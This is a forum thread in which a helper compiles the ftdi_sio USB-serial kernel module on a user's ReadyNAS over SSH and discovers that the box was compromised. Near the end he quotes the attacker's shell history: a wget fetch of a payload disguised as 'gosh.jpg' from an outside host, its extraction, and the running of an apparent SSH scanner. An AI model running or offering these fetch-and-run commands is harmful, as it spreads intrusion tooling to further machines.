Need help with ftdi_sio drivers

[christerj77]

Im trying to get my rfxtrx433 usb to work with my readynas ultra 2 with os 6 installed but i cant understand how to install/compile the ftdi_sio drivers, anyone can help me with this?

I compiled some kernel drives four years back for a few items. The steps are different now, but you may find some hints in my posts to help along the way:

The problem is that i have no idea how to compile the kernel drivers, i have downloaded the x64 version from this page http://www.ftdichip.com/Drivers/VCP.htm and tried to compile it as root but i have no idea if im even close to doing it the right way but here is the output from "make"

root@nas-27-0D-A0:~/ftdi_sio# make
gcc -Wall -D__KERNEL__ -DMODULE -I/lib/modules/3.0.74.RNx86_64.2.1/build/include -I/usr/src/linux-3.0.74.RNx86_64.2.1/drivers/usb/serial/ -O   -c -o ftdi_sio.o ftdi_sio.c

You need the linux kernel headers from the GPL package, and drop them in /usr/src/linux.

Maybe someone else on here can chip in. I don't use ReadyNAS systems myself anymore to have tried this recently.

I guess i need the headers for the kernel that is used on OS6 then, do you know where can i download those files?
Thanks for trying to help me.

v6.0.4: ftp://downloads.netgear.com/files/GPL/R ... WW_src.zip

They haven't posted v6.0.5 GPL yet.

[christerj77]

ty, i try that but maybe i have to wait for 6.0.5 then...

I guess i will have to give up this, cant understand how to compile it.

[chirpa]

If you can give me SSH to the box, I can poke around at getting it working.

[christerj77]

I have sent you an pm with login details and ip.
Thank you

Thanks, got it. I'll try to take a look in between other stuff. Starting right now by downloading the GPL packages to it.

[christerj77]

ok great, time for bed for me now 🙂

GPL extracted. Selected the FTDI module in the kernels 'menuconfig'. Now waiting for the Kernel to compile (will take awhile, U2 is not super fast), then I can try installing the module. If all goes well, will see it. If not, will need more tweaking.

Is the device connected right now?

[christerj77]

Yes, the usb device is connected.
When i unplug/plug it in again and use dmesg i get this message.

usb 3-1: USB disconnect, device number 2
usb 3-1: new full speed USB device number 3 using uhci_hcd

[chirpa]

Re-compiling, had some issues with version. The GPL uses a stock kernel tree, not same compile options the actual systems use.

[chirpa]

Disconnect, reconnect now.

Spoke too soon, need to do some more stuff.

modprobe: can't load module usbserial (kernel/drivers/usb/serial/usbserial.ko): invalid module format

[christerj77]

Thank you for your help so far, seams like you are getting close to get it working but what do i know, wish i could learn this stuff myself 🙂

[chirpa]

Trying it again, takes 30-40 minutes on the Ultra 2 to compile it.

At the same time, unless you've been doing this stuff on your box, I suggest you factory default it, and change the root SSH password.

  96  wget http://root-arhive.at.ua/scanner/gosh.jpg gosh.jpg
   97  tar zxvf gosh.jpg 
   98  rm -rf gosh.jpg 
   99  cd gosh
  100  touch bios.txt
  101  ./go.sh 146

I saw /usr/sbin/apache/log (does not exist) using a lot of CPU earlier. My guess is there is a rootkit on your NAS. Looking at that program, its an SSH scanner. Your box has been compromised. Not surprised being port 22, with default password 😞 I know how to get the kernel modules compiled properly on this platform now, so it will be easy for me to re-produce on a new clean install.

[christerj77]

I have factory default the nas now, details in a pm.
Thank you

[chirpa]

K, repeating steps on a clean box now.
